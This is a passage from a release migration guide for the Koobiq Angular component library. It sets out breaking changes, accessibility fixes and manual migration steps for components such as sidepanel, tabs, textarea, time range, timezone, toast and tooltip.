| `{ hasBackdrop: false }` keeping focus out                   | `trapFocusAutoCapture: false`                                              |
| `config.hasBackdrop = …` after open                          | Never worked — the value is read once. Only `disableClose` is re-read      |
| `overlayRef.backdropElement!`                                | `null` without a backdrop; decide the backdrop when you open the sidepanel |
| `.kbq-sidepanel-overlay` in a stylesheet                     | The class is no longer stamped; tag the pane with `overlayPanelClass`      |
| `host: { class: 'layout-column flex' }` on sidepanel content | Delete it — the package styles the portal host now                         |
| `closeDirective.sidepanelResult = …`                         | An input signal now: bind `kbq-sidepanel-close="…"` in the template        |
| `closeDirective.sidepanelResult` read                        | `sidepanelResult()`                                                        |

**`KbqSidepanelModule` no longer swaps `FocusTrapFactory` application-wide.** The module provided `{ provide: FocusTrapFactory, useClass: ConfigurableFocusTrapFactory }`, an unscoped override of a `providedIn: 'root'` CDK service: importing the sidepanel module changed the focus-trap implementation of every trapping component in the application — modal, dropdown, popover. The override is scoped to the sidepanel container now. Add the provider to your own application config if you were depending on it.

**`cdkScrollable` on `kbq-sidepanel-body` is no longer needed.** The sidepanel body gets `CdkScrollable` through `KbqScrollbarViewport`, so tooltips, popovers and dropdowns inside it follow its scrolling with no extra markup. Remove a `cdkScrollable` added to the body by hand: the directive would match the element a second time, and Angular throws `NG0309` in development mode.

The container is a dialog to assistive technology at last: `role="dialog"`, `aria-modal` for a modal panel, and an `aria-labelledby` pointing at the `kbq-sidepanel-header` title, with `ariaLabel` / `ariaLabelledBy` on the config for a panel that has no header. While a modal sidepanel is open the rest of the page is `aria-hidden`, so a screen reader stops walking the page behind it. Any `role` or `aria-*` you were stamping on the container yourself is a duplicate now.

Four smaller fixes with nothing to migrate: a component-provided `KbqSidepanelService` closes the panels it opened when it is destroyed, instead of leaving an orphaned overlay behind; `closeAll()` no longer reverses the live stack in place; the indent strip belongs to the top panel of a stack alone, where a stack three deep used to draw one strip per level and closing a lower panel left the one above exposing a panel that was no longer there; a second `close('B')` before the animation finishes no longer overwrites the `'A'` the first call promised; and a click inside a sidepanel at another edge no longer closes an unrelated panel. `KbqSidepanelService` is `providedIn: 'root'`.

**`Escape` closes one layer at a time.** A sidepanel, the actions panel, the notification center and the dropdown no longer close on an Escape that a layer above them or a control inside them already handled — a tooltip, a popover, a confirm dialog opened over the panel, a control closing a popup of its own. The notification center now marks the Escape it closes on as handled (`preventDefault()`), so a sidepanel underneath stays open. A handler of your own that calls `preventDefault()` on Escape keeps these panels open too.

**The sidepanel reports its transitions after the render that applies them.** `beforeClosed()` and `afterOpened()` no longer fire synchronously inside `open()` or `close()`: a subscription made right after `close()` is notified, and a sidepanel opened from `afterOpened()` of a lower one lands on top of the stack. Code that relied on `beforeClosed()` having fired by the time `close()` returned waits for the emission.

Reported by `sidepanel-non-modal-behavior`.

##### Split button

`KbqSplitButton.disabled` was published as `boolean`, but the backing field is declared without an initializer and the setter returns early for `undefined`. A `<kbq-split-button>` with no `[disabled]` binding therefore reported `undefined` from a non-nullable type, and the code reading it was quietly wrong:

```ts
const flag: boolean = splitButton.disabled; // held undefined
if (splitButton.disabled === false) {
    // never ran
}
```

The getter now reports `boolean | undefined`, which is what the sibling `KbqButtonGroupRoot` has always reported. Nothing about the runtime value changed — the call sites that were already wrong now fail to compile.

| Pattern                           | Manual migration                                                          |
| --------------------------------- | ------------------------------------------------------------------------- |
| `.disabled` on a `KbqSplitButton` | `?? false` for the common reading, or handle the unset state explicitly   |
| `buttons.*` in a subclass         | Now a protected signal query: read `buttons()`; `buttons.changes` is gone |

A `<kbq-split-button>` with no projected button no longer throws outside dev mode. The guard sits behind `isDevMode()`, so production renders an empty control instead of aborting the change detection pass of whoever rendered it — a host that used the throw as a runtime assertion needs its own check.

Reported by `split-button-optional-disabled`.

##### Table

`KbqTableCellContent` is removed. It was declared `selector: 'kbq-table td'`, and Angular's directive selector grammar has element names, attributes, classes and `:not(…)` — but no combinators. The parser calls `setElement()` for every bare tag it meets, so the second one overwrote the first and the effective selector was plain `td`: every template that imported `KbqTableModule` got a directive instance plus a live content query on every cell it rendered, whether or not the table was a `kbq-table`. The `kbq-table` element the selector named has never existed either — the component is an attribute on a native `<table>`.

The one rule the directive fed — a cell holding a button keeps the row at the button's own height — is CSS now, which also drops the `@koobiq/components/button` dependency from the table entry point:

```scss
.kbq-table > :is(tbody, tfoot) > tr > :is(td, th):has(.kbq-button, .kbq-button-icon) {
    padding-block: var(--kbq-size-xxs);
}
```

| Pattern                         | Manual migration                                                                |
| ------------------------------- | ------------------------------------------------------------------------------- |
| `KbqTableCellContent`           | Delete it from the `imports` array; nothing replaces it                         |
| `.kbq-table-cell_has-button`    | Select the cell: `:is(td, th):has(.kbq-button, .kbq-button-icon)`               |
| `tr:hover { background: none }` | Bind `[disableHover]` or set `--kbq-table-states-hover-background: transparent` |

Row hover and the pill corner radii cover `<th>` inside `<tbody>` as well as `<td>`, so a row led by a row header is highlighted and rounded as a unit instead of from its second cell on. That is also why a consumer rule keyed on the row rather than the cell used to be a silent no-op.

Every color moved behind a `--kbq-table-*` token — `--kbq-table-header-text`, `--kbq-table-body-text`, `--kbq-table-border-color`, `--kbq-table-states-hover-background` and `--kbq-table-sticky-header-background` — and the row radius behind `--kbq-table-size-row-border-radius`. No value changed: a pinned header still takes `--kbq-background-bg`, and the point of the token is that a table on a card, in a modal or in a sidepanel can now be pointed at that surface — `--kbq-table-sticky-header-background: var(--kbq-background-card)` — instead of out-specifying `.kbq-table > thead > tr > th`.

Cell padding and the corner radii are logical properties, alignment goes through `--kbq-table-cell-text-align` (default `start`), and `<tfoot>` gets the library color and typography it was already being padded for. A pinned header publishes its measured height as `--kbq-table-size-sticky-header-height`, which the table uses as `scroll-margin-block-start` on its cells and their focusable content, so a control scrolled to the top edge of the container does not land under the header (WCAG 2.2 SC 2.4.11). Add `scroll-padding-block-start` to your own scroll container if it holds more than the table.

Reported by `table-cell-content`.

##### Tabs

`KbqTabGroup` shipped no part of the ARIA tabs pattern, while `KbqTabNavBar` in the same package shipped all of it. The group now renders it too: the label strip is a `role="tablist"` (carrying `aria-orientation="vertical"` when `vertical` is set), each label a `role="tab"` with `aria-selected` and `aria-controls`, and each body a `role="tabpanel"` with `aria-labelledby` and a tab stop while it is the active one. Hand-rolled `role` or `aria-*` attributes on those elements are duplicates now, and a label carries `aria-disabled` in place of the bare `disabled` attribute that no assistive technology reads off a `div`.

The roving `tabindex` follows the header's focus position rather than the selection, and a disabled tab gets `-1` rather than no attribute at all. A group whose selected tab was disabled — the default when the first tab is disabled — had no element with `tabindex="0"` and could not be reached with `Tab` at all.

`[vertical]` works as a binding. The layout class came from a selector-matched directive with a static host class, and Angular matches attribute selectors against property-binding names, so `<kbq-tab-group [vertical]="false">` kept the class forever. It is bound from the components themselves now, `KbqVerticalTabsCssStyler` is a deprecated no-op, and `disablePagination` is derived rather than latched, so a header that stops being vertical gets its paginator arrows back.

`resizeStream` and the `(window:resize)` host listener are removed, for the same reason as in `kbq-title`: nothing was subscribed. `subscribeToResize()` read the `vertical` signal input in the constructor, before Angular writes inputs, so it returned early on every instantiation and the listener pushed into a `Subject` with no subscribers — one in-zone window listener per tab group, doing nothing but the label-overflow tooltip never updating. The header is observed with the CDK `SharedResizeObserver` now, which also catches container-only resizes.

| Pattern                    | Manual migration                                                   |
| -------------------------- | ------------------------------------------------------------------ |
| `.resizeStream`            | Drop the call — the shared `ResizeObserver` re-measures on its own |
| `<kbq-tab-group disabled>` | Disable the tabs: `<kbq-tab [disabled]="true">`                    |
| `.getTabIndex(tab, index)` | `getTabIndex(tab, tabHeader, index)`; `null` is now `-1`           |
| `KbqVerticalTabsCssStyler` | Stop importing it — the class follows the `vertical` binding       |
| `.kbq-tab-label[disabled]` | Target `.kbq-disabled`, or `[aria-disabled="true"]` in a test      |
| `a[kbqTabLink][disabled]`  | Same: `.kbq-disabled`, or `[aria-disabled="true"]`                 |

`KbqTabGroup.disabled` is removed outright. It was published, documented and listed in the API table, and no template bound it and no style targeted it — `<kbq-tab-group disabled>` compiled, type-checked and did nothing.

**A tab link is an anchor, so it carries `aria-disabled` now.** `KbqTabLink` emitted a bare `disabled` attribute alongside it — the same defect the tab labels had, one file over. `disabled` is defined for form controls, not for `<a>`, so no assistive technology ever read it there and the styling went through `.kbq-disabled` the whole time. The input itself is unchanged; only the attribute is gone.

**`afterLeavingCenter` admits it carries nothing.** `KbqTabBody.afterLeavingCenter` was typed `EventEmitter<boolean>` but is only ever emitted with no argument, so every subscriber has always received `undefined`. It is `EventEmitter<void>`, which is what it always was at runtime — a handler that declared a `boolean` parameter stops compiling and should drop it.

**Toggling `disablePagination` re-measures again.** The header only re-ran its pagination check when the orientation or the tab count changed, even though `disablePagination` feeds the same derived value — so a nav bar whose `[disablePagination]` binding was flipped at runtime kept stale paginator arrows until something else disturbed it.

Two changes with nothing to match on. `KbqTabHeader` is `OnPush` like every other component in the package, so a host that mutated it outside Angular and relied on the `Default` strategy has to mark it for check. And the four `on-surface` theme branches read the `--kbq-tabs-tab-item-*-on-surface-*` tokens they always declared instead of the `on-background` family — a value overridden only on the `on-background` tokens no longer reaches a group or nav bar with `[onSurface]`.

Reported by `tabs-signals-and-aria`.

##### Tags

What stays an accessor stays for a reason the code enforces, not for want of a transform — a backing input carries `booleanAttribute`, and a signal over it reads back as one. `KbqTag.disabled` stays a plain boolean because the focus key manager skips items by reading it as a value, and a signal — a function — is always truthy. `disabled`, `tabindex` and `value` on the tag, `draggable`, `tabIndex` on the tag list and `disabled` on the tag input keep their setters; `KbqTag.value` falls back to the projected text. Those keep their read and write syntax.

The form-field state moved. `value`, `id`, `placeholder`, `focused`, `empty`, `required`, `disabled` and `errorState` of `KbqTagList` are signals: `form-field-signals` rewrites the reads into calls and a write to `disabled` or `value` into `.set()`, and reports a write to the rest (see Form field review (21.0.0)). `id`, `placeholder`, `focused` and `empty` of `KbqTagInput` are read-only signals: `form-field-signals` rewrites their reads into calls too, and reports a write.

Everything else moved:

| Pattern                                                             | Manual migration                                                                             |
| ------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| `.addOnBlur` / `.separators` on the tag input                       | Read as calls — rewritten for you                                                            |
| `.selected` / `.editable` / `.selectable` / `.removable` on the tag | Read as calls — rewritten for you                                                            |
| `.removable` on the tag list                                        | Read as a call — rewritten for you                                                           |
| `.separatorKeyCodes = …` / `.tagList = …` on the tag input          | Bind `[kbqTagInputSeparatorKeyCodes]` / `[kbqTagInputFor]`; in exchange both can be read now |
| Any other write to a member that moved                              | Bind the attribute; every write form is reported                                             |
| `tag.selected = …`                                                  | Call `select()`, `deselect()` or `toggleSelected()`                                          |

**`KbqTag.selected` is read-only.** A change of the `[selected]` binding still emits `selectionChange`, the way the old setter did — the tag list listens to it — so a binding keeps working exactly as before. From code, `select()`, `deselect()` and `toggleSelected()` emit it too. There is no `.set()` to reach for, because one that skipped the event would leave the tag list out of step.

**`distinct` is a `booleanAttribute` input now.** A valueless `distinct` attribute used to pass the empty string, which is falsy, so duplicate tags were still accepted.

**Generated ids come from the CDK `_IdGenerator`** instead of a module-level counter. The shape is unchanged for a default `APP_ID`: the CDK omits the app id when it is `ng`, and the counter still starts at 0, so a real app keeps getting `kbq-tag-list-0` and `kbq-tag-list-input-0`. Only an app that sets `APP_ID` explicitly sees it in the id, right before the counter and with no separator — `kbq-tag-list-input-myapp0`. The tag list reports the id of its input when it has one, so both surface through the form field.

Handled by `tags-signals`: reads of the members that moved are rewritten, including through template reference variables, and every write is reported.

##### Textarea

The `KbqFormFieldControl` members of `KbqTextarea` — `value`, `id`, `placeholder`, `required`, `disabled`, `focused`, `empty` and `errorState` — are signals: `form-field-signals` rewrites the reads in TypeScript into calls and a write to `value` into `.set()`, and reports a write to the rest (see Form field review (21.0.0)). The four inputs the textarea owns moved too.

`canGrow` was the odd one: its getter returned `!maxRowLimitReached && bound`, so it reported `false` once the textarea hit `maxRows` even though the consumer had asked for growth. The folded value is an internal `growing` computed now, and `canGrow()` reports what was bound. At the row limit the element keeps its own scrollbar rather than gaining a native resize handle: `kbq-textarea_max-row-limit-reached` sets `resize: unset`, which follows `kbq-textarea-resizable` in the stylesheet and wins on source order.

| Pattern                                                 | Manual migration                                                                                                                       |
| ------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `.maxRows` / `.maxRowLimitReached`                      | Read as calls — rewritten for you                                                                                                      |
| `.freeRowsHeight`                                       | `freeRowsHeight()`, and expect `undefined` when unbound — reported                                                                     |
| `.canGrow`                                              | `canGrow()`, and expect what was bound — not `false` at the row limit                                                                  |
| `.canGrow = …` / `.maxRows = …` / `.freeRowsHeight = …` | Bind them in the template; the inputs are read-only                                                                                    |
| `.grow()` / a detached `.grow`                          | Protected now; the textarea re-measures on every value and input change, and a layout change it cannot see is measured at the next one |

**`maxRows` and `freeRowsHeight` report `number | undefined`.** Both were declared non-nullable while an unbound `maxRows` held `undefined`, and `maxRowLimitReached` compared against it — `rowsCount > undefined` is false, which is why unlimited growth worked at all. `freeRowsHeight` differs: `ngOnInit` used to assign the measured line height into the input, so an unbound read came back with a number once the first microtask had run. The fallback is internal now and the input stays `undefined`, so a call site doing `gap + 'px'` starts producing `"undefined" + "px"` with no diagnostic — the migration reports those reads rather than rewriting them.

**`freeRowsHeight` no longer writes itself.** It defaulted to the measured line height by assigning its own input in `ngOnInit`; the fallback is a computed now, so binding it later actually takes effect instead of being overwritten on the next init.

**The `kbq-textarea_max-row-limit-reached` class follows the row count directly.** It is derived from a signal written inside `runOutsideAngular`, so the class used to wait for an unrelated change detection pass to appear.

**Generated ids come from the CDK `_IdGenerator`** instead of a module-level counter. The shape is unchanged for a default `APP_ID`: the CDK omits the app id when it is `ng`, and the per-prefix counter still starts at 0, so a real app keeps getting `kbq-textarea-0`. Only an app that sets `APP_ID` explicitly sees it in the id, and the counter is now shared per prefix rather than per module.

Handled by `textarea-signals`: the value-safe reads are rewritten, the rest is reported.

##### Time range

The end of a custom range was assembled from the wrong control. `mapTimeRange` passed `toDate: this.form.controls.toTime.value` — the _time_ control feeding the _date_ slot — and `combineDateAndTime` takes the calendar date from its first argument and the clock from its second. A user who picked "to: 20 September" and applied got a range ending on whatever day the timepicker held: today, or the day of the previously applied value. `fromDate` one line above was wired correctly, which is what makes it a typo rather than a design.

The disagreement went further than a wrong value. The form's own validator reads `toDate` directly, so validation and emission described different ranges: a range the user drew as valid could be emitted inverted, and vice versa. **Ranges persisted by an application built against an earlier release may need correcting** — this is the one change here that is about data rather than code.

The rest of the release is the forms contract the component never kept:

| Pattern                                               | Manual migration                                                                                      |
| ----------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
| `.timepickerList` on a `KbqTimeRangeEditor`           | Removed with the subscription that wrote `errorState` by hand; provide an `ErrorStateMatcher` instead |
| `.errorState = …` on a `KbqTimeRangeTitleAsControl`   | A read-only signal now; drive the state through the bound form control and read it with a call        |
| `.value` / `.empty` / `.required` / `.disabled` on it | Same — read-only signals derived from the host and the bound control                                  |
| `.id` / `.placeholder` / `.focused` / `.controlType`  | Read-only; `id` is generated, `controlType` is a constant                                             |
| `.stateChanges` on it                                 | Removed; read the signals in a `computed()` or an `effect()`                                          |
| `.kbq-radio-group .kbq-time-range-editor__range`      | The from/to block is a sibling of the radiogroup now, not a descendant                                |

`setDisabledState` is implemented on both `KbqTimeRange` and `KbqTimeRangeEditor`. A disabled control leaves the tab order, refuses to open the popover, disables the editor's own form and takes a `kbq-disabled` host class — it used to look and behave enabled while Angular silently discarded the value. `KbqTimeRangeTitle` gained a `disabled` input for the built-in trigger.

`onTouched` is called when the popover closes. Every `ErrorStateMatcher` in the library keys error display off `touched`, so a `Validators.required` on a time range shows its message at the moment the matcher intends instead of never.

`valueCorrected` compares the outcome instead of the shape of the input. It used to fire on every write of a value with no `startDateTime`, which the `allTime` preset legitimately produces, so a host that wrote the payload back looped on it. A handler that counted emissions sees fewer of them.

`KbqTimeRangeTitleAsControl` is a real `KbqFormFieldControl` now. Every member was previously declared and never assigned, so a `kbq-form-field` around it rendered once against `undefined` state: it could not float the label, could not show the error state, and clicking it focused nothing. The members are read-only signals derived from the host and the bound `NgControl`, and `stateChanges` was removed with the rest of the `KbqFormFieldControl` contract.

Two markup changes: the from/to block moved out of the `role="radiogroup"` element — a radiogroup must not own four date and time fields — and the popover footer dropped its unnamed `role="group"`. The from/to prefixes carry an `id` that all four inputs point at with `aria-labelledby`, replacing an `aria-label` on a bare `<span>`, where it is inert.

Reported by `time-range-title-for`, which carries both changes of this release.

**`title.for` was removed from `KbqTimeRangeLocaleConfiguration`.** The title used to prepend it to the selected period ("за последний час"); the period stands alone now ("последний час" / "Last hour"), and the duration templates of each locale carry whatever word it needs. A custom title template receives the period without a prefix in `formattedDate`; a word you prefixed through `title.for` belongs in your `durationTemplate.title` overrides.

| Pattern                                                       | Manual migration                                   |
| ------------------------------------------------------------- | -------------------------------------------------- |
| A read of `title.for`                                         | Drop it — the title shows the period alone         |
| A `for` key the schematic could not attribute to a time range | Remove it from the `title` section of the override |

Handled by `time-range-title-for`: the key is removed from time-range locale literals, the rest is reported.

##### Timepicker

The `KbqFormFieldControl` members of `KbqTimepicker` — `value`, `id`, `placeholder`, `required`, `disabled`, `focused`, `empty` and `errorState` — are signals: `form-field-signals` rewrites the reads in TypeScript into calls and a write to `disabled` into `.set()`, and reports a write to the rest (see Form field review (21.0.0)). The four inputs the timepicker owns moved too.

`min` and `max` parsed in their setters and reported the parsed result, so an unparseable bound value read back as `null`. They report what was bound now; the parsed values stay internal and still drive the validators.

| Pattern                                                               | Manual migration                                                                                                                                  |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- |
| `.format`                                                             | Read as `format()` — rewritten for you                                                                                                            |
| `.min` / `.max`                                                       | `min()` / `max()` — reported, not rewritten: a read without the call is always truthy, and the value is the bound one rather than the parsed date |
| `.format = …` / `.min = …` / `.max = …` / `.kbqValidationTooltip = …` | Bind them in the template; the inputs are read-only                                                                                               |

**A re-bound `kbqValidationTooltip` no longer stacks subscriptions.** The setter subscribed to `incorrectInput` every time it ran, so after several re-binds one rejected keystroke opened every tooltip ever bound. It is an effect with a teardown now, which also gives an unbound tooltip its own trigger and delay back — the setter left it on a `manual` trigger with no listeners.

**A locale change reformats the rendered time even when the placeholder was set by the consumer.** The effect used to return early on a consumer-provided placeholder, which skipped the reformat with it — the two are separate concerns now.

**Generated ids come from the CDK `_IdGenerator`** instead of a module-level counter. The shape is unchanged for a default `APP_ID`: the CDK omits the app id when it is `ng`, and the counter still starts at 0, so a real app keeps getting `kbq-timepicker-0`. Only an app that sets `APP_ID` explicitly sees it in the id, right before the counter and with no separator — `kbq-timepicker-myapp0`.

Handled by `timepicker-signals`: the `format` reads are rewritten, the rest is reported.

##### Timezone

The package ships no timezone data: every consumer feeds its own rows through two exported utilities, and both were wrong.

`timezonesSortComparator` returned `parseOffset(first.offset)` rather than the difference of the two offsets, so `cmp(+05:00, +02:00)` and `cmp(+02:00, +05:00)` were both positive. It is not a valid comparator, and the order a list came out in was whatever the engine's sort algorithm made of it — a world-wide list rendered wrong. Any zone at `00:00:00` compared equal to everything, and an unparsable offset produced `NaN`, which V8 reads as `0`. It returns the difference now, ties break on `city` instead of on `countryName` (which is equal for every zone inside a group by construction), and a zone whose offset cannot be resolved sorts last instead of as UTC.

`getZonesGroupedByCountry` never grouped by country either, despite its name. It read `Intl.DateTimeFormat().resolvedOptions().timeZone` at call time and produced at most two groups: the host machine's country, and one bucket holding everything else with its `countryName` overwritten. The same data rendered differently on a developer's laptop, on CI and on an SSR server versus the browser that hydrated it. It groups by country now, one group per country ordered by country name, and reads nothing outside its arguments. The promotion and the aggregate bucket are separate, explicit helpers.

| Before                                            | After                                                                                                           |
| ------------------------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `getZonesGroupedByCountry(zones, label, country)` | `collapseOtherCountries(getZonesGroupedByCountry(zones), country, label)`                                       |
| `getZonesGroupedByCountry(zones, label)`          | `collapseOtherCountries(getZonesGroupedByCountry(zones), kbqResolveHostCountry(zones), label)`                  |
| `getZonesGroupedByCountry(zones)`                 | `promoteCountry(getZonesGroupedByCountry(zones), kbqResolveHostCountry(zones))` for a real per-country grouping |

`kbqResolveHostCountry` is the only helper that reads `Intl`, and it is separate for exactly that reason: on the server it resolves the server's zone, not the user's.

Two types changed with it. `KbqTimezoneGroup.countryCode` is `string | null` — the bucket `collapseOtherCountries` produces spans countries and says so, instead of borrowing the code of an arbitrary member the way the old aggregate group did. And `KbqTimezoneZone.offset` is optional: omit it and the offset is resolved from the IANA `id` every time the option renders, so a zone that observes DST is labelled correctly on both sides of the change. A string supplied there is still rendered verbatim and never recomputed — a `Europe/Berlin` row written as `01:00:00` used to read `UTC+01:00` all summer. Read a zone's current offset with `resolveZoneOffset(zone)`.

`kbq-timezone-select` rejects `multiple` with an error instead of accepting it, and `multiline` with it — that input switches the select to multiple selection just the same, and it had been left as a way around the check. Both guides always said it does not support multiple selection, but nothing enforced it: the input was inherited, `[multiple]="true"` compiled cleanly and put the component into a state its template cannot render — the user selected five zones and the field showed one. Use `kbq-select` for multiple selection.

Four fixes with nothing to migrate. The forked panel template is back in sync with `select.html`: it binds `viewportMargin`, `handleClick` and the `kbq-select-overlay` pane class, no longer binds `offsetY`, which is removed (see the select removals above), and projects `kbq-select-footer` and `kbq-select-matcher` — a projected footer used to fall into the trailing catch-all and render _inside_ the scrollable option list. The option's overflow tooltip carries the same filtered city list the option renders, instead of the unfiltered one measured against the filtered box. The search placeholder follows the active locale instead of latching to whichever one was applied first, and a placeholder the consumer binds still wins. And `UtcOffsetPipe` and `CitiesByFilterPipe` are exported, while `KbqTimezoneModule` re-exports `KbqOptionModule`, so the documented usage with `kbq-optgroup` works from the module alone.

Typeahead finds the city. The option reported its whole line as its label, and that line opens with `UTC`, so typing a city's first letters in the field never moved past the first option, and a zone west of UTC — written with U+2212, which no keyboard types — could not be reached by typing at all. The label is the city now. What it costs: typing `utc+03` no longer moves anywhere; offsets are matched by the search.

Reported by `timezone-grouping-utils`.

##### Title

`kbq-title` measures its host and opens a tooltip when the text is truncated. The review kept that surface — the `kbq-title` input and the tooltip it opens — and closed the measurement machinery behind it.

`resizeStream` is the one removal that changes how the directive works rather than only what it exposes. It was fed by a `(window:resize)` host listener, so one directive instance meant one listener, and `kbq-title` sits on every dropdown item, list option and tree option. The directive now injects the CDK `SharedResizeObserver`, which adds no per-instance listener and, unlike `window:resize`, also reacts to container-only resizes such as a splitter drag or a sidebar collapse.

| Pattern                                                                                                           | Manual migration                                                             |
| ----------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| `.resizeStream`                                                                                                   | Drop the call — the shared `ResizeObserver` re-measures on its own           |
| `.hasOnlyText`                                                                                                    | Now `private`; read the rendered DOM directly if it is genuinely needed      |
| `.child` / `.parent` / `.isHorizontalOverflown` / `.isVerticalOverflown` / `.handleElementEnter` / `.hideTooltip` | Now `protected`; use the `kbq-title` input — these are measurement internals |
| `super.ngOnDestroy()` in a subclass                                                                               | Remove it — the base tears down through `takeUntilDestroyed`                 |

The tooltip now also opens on keyboard focus, which the directive always documented but never did; a host that compensated for its absence can drop the workaround. `titleContent` is typed `TemplateRef<unknown>` instead of `TemplateRef<any>` — a `TemplateRef<Ctx>` still assigns to it, but a value read back out needs a cast.

Reported by `title-encapsulation`.

##### Toast

`KbqToastComponent` used to hold `readonly service = inject(KbqToastService)` and reach the whole service through it. It now resolves only the narrow `KbqToastStack` contract it actually consumes, through the new `KBQ_TOAST_STACK` token, which both `KbqToastService` and `KbqToastContainerComponent` provide. A subclass registered through `KBQ_TOAST_FACTORY` is the documented extension point, so it is the code most likely to break:

```ts
// Before
class MyToast extends KbqToastComponent {
    ok() {
        this.service.hide(this.id);
    }
}

// After
class MyToast extends KbqToastComponent {
    ok() {
        this.close();
    }
}
```

| Pattern                                                                  | Manual migration                                                                                                                                         |
| ------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `.service`                                                               | `close()` for dismissal, or `inject(KBQ_TOAST_STACK)` for the rest                                                                                       |
| `.elementRef`                                                            | `inject<ElementRef<HTMLElement>>(ElementRef)`                                                                                                            |
| `.ttl` / `.delay`                                                        | The countdown moved into the service — pass the lifetime as `show()`'s `duration`                                                                        |
| `.isTemplateRef()` / `.themePalette` / `.toastStyle`                     | Removed; they only existed for the old rendering path                                                                                                    |
| `.style` / `.icon` / `.role` / `.closeButton`                            | Now `protected`. `data`, `id`, `hovered`, `focused` and `close()` are still public                                                                       |
| `service.animation.getValue()` / `.value`                                | Removed with `@angular/animations`, see "Animations without @angular/animations" above                                                                   |
| A `KBQ_TOAST_FACTORY` component that does not extend `KbqToastComponent` | Rejected: `show()` reads the numeric `id` the service keys its stack by, and throws when it is missing rather than stacking a toast it can never dismiss |

**The data you pass in is no longer written to.** `show()` used to default `style` to `contrast` and `icon` to `true` by assigning them onto the caller's object; both defaults are resolved inside the toast now. Anything that read those keys back after `show()` — or rendered the same object somewhere else, which is what `kbq-notification-center` does — has to apply its own defaults.

Three more behavior changes with nothing to migrate. Auto-dismissal pauses while a toast is hovered or holds the focus; the whole stack shares one heartbeat, which stops while the stack is empty, and a toast shown through `showTemplate()` carries no such listeners and is not paused. Every toast is a live region — `role="alert"` for the error and warning styles, `role="status"` otherwise — and the stack itself is a labelled `role="region"` whose name comes from the new `toastRegion` key of the `a11y` locale section. Focus is handed on only for a keyboard dismissal, to the next toast or back to the element that held it when the toast appeared; a mouse dismissal leaves the focus where the browser put it.

Reported by `toast-stack-and-defaults`.

##### Tooltip

**`ignoreTooltipPointerEvents` defaults to `false` now.** It used to default to `true`, which made every tooltip pane transparent to the pointer. That fails WCAG 1.4.13 _Content on Hover or Focus_: a hint that takes a while to read cannot be reached, and a user reading at high magnification, whose pointer often ends up over the pane, loses it.

The flip is silent. Markup that never mentioned the input compiles unchanged and behaves differently — the pane now captures clicks meant for whatever it floats over. Add `[ignoreTooltipPointerEvents]="true"` where a pane overlays a click target.

Already opted out, so nothing to do for them: the built-in overflow hints (`kbq-title`, `kbqEllipsisCenter`, the option and timezone hints) and any tooltip whose `kbqTrigger` is `manual` or `none` — hovering such a pane neither opens nor closes it, so there is nothing hoverable to protect.

| Pattern                                                    | Manual migration                                                                                                                              |
| ---------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `kbqTooltip` with no `ignoreTooltipPointerEvents`          | Add `[ignoreTooltipPointerEvents]="true"` where a pane overlays a click target                                                                |
| `.scheduler`                                               | Removed; schedule on a scheduler you own                                                                                                      |
| `getMouseLeaveListener(delay)`                             | Drop the argument — the listener reads the trigger's own `leaveDelay`                                                                         |
| `placementChange`                                          | Emits `KbqPopUpPlacementValues`; reading is unaffected, emitting a plain `string` breaks                                                      |
| `.content` / `.header` / `.context` / `.modifier`          | `unknown` and the real enum replaced `any`; a value read out needs a cast                                                                     |
| `KBQ_TOOLTIP_OPEN_TIME` / `KBQ_TOOLTIP_OPEN_TIME_PROVIDER` | Deprecated no-ops, removed in 22.0.0: set the window with `KBQ_TOOLTIP_INSTANT_SHOW_WINDOW`, restart it with `KbqTooltipDelayTracker.reset()` |

Three fixes with nothing to migrate: the pane carries `role="tooltip"` and the trigger points `aria-describedby` at it, so a host that added either by hand can drop it; `Escape` closes a hover tooltip on a non-focusable element, which previously only worked while the trigger itself had focus; and `KbqTooltipTrigger` can be imported standalone, because `KBQ_TOOLTIP_SCROLL_STRATEGY` has a factory default and the NgModule is no longer load-bearing.

`[kbqTooltipOffset]` bound to `null`, `undefined` or a value that is not a number keeps the gap of the stylesheet, as documented. It used to write `NaNpx`, which browsers dropped, so an open tooltip kept the gap set before; switching the binding to `null` on an open tooltip removes that gap now.

Reported by `tooltip-pointer-events-and-types`, which reports the _absence_ of the input: a file that renders `kbqTooltip` and never writes `ignoreTooltipPointerEvents` is exactly the file whose behavior changed.

##### Top bar

The bar has no runtime logic, so everything here is CSS. Two renames are rewritten for you:

| Before                                   | After                                     |
| ---------------------------------------- | ----------------------------------------- |
| `kbq-top-bar-container__start` / `__end` | `kbq-top-bar-container_start` / `_end`    |
| `--kbq-top-bar-container-start-basis`    | `--kbq-top-bar-container-start-min-width` |

Both classes are modifiers of `.kbq-top-bar-container`, and the library spells modifiers with a single `_` — the component itself does so one line away, in `kbq-top-bar_with-shadow`.

**The renamed token changed meaning with its name.** The `start` container was `flex: 1 0 var(--kbq-top-bar-container-start-basis)`; with `flex-shrink: 0` that basis was never a basis but the width the container could not fall below, which is why every example that put content on the left had to invent a value for it. The container is `flex: 1 1 auto` now, so it shrinks _toward_ `--kbq-top-bar-container-start-min-width` instead of being pinned at it while the end container absorbs the whole overflow.

**`kbq-top-bar` left the CDK overlay layer.** It carried `z-index: 1000` — the same value as `.cdk-overlay-container` — so a dropdown, select or popover panel only painted above it by accident of DOM order. The bar is `z-index: var(--kbq-top-bar-z-index)` (`990`) now. An override that raised something above the bar to break that tie is redundant; drop it.

| Pattern                                 | Manual migration                                                                                                                                                                    |
| --------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `.kbq-top-bar-container[placement='…']` | Select the class the directive applies. The attribute selector matches the static `placement="start"` form only, so a `[placement]` property binding silently switches the rule off |
| `z-index` raised above `kbq-top-bar`    | Redundant now that the bar sits at `990`                                                                                                                                            |

One thing that did not change but is worth stating, because the token reads as if it had: `--kbq-top-bar-position` still defaults to `sticky` and still does nothing on its own. A sticky box is only offset once it has an inset, and all four were `auto`. Set the new `--kbq-top-bar-inset-block-start: 0` — and put the bar inside the scrolling element — to make it stick.

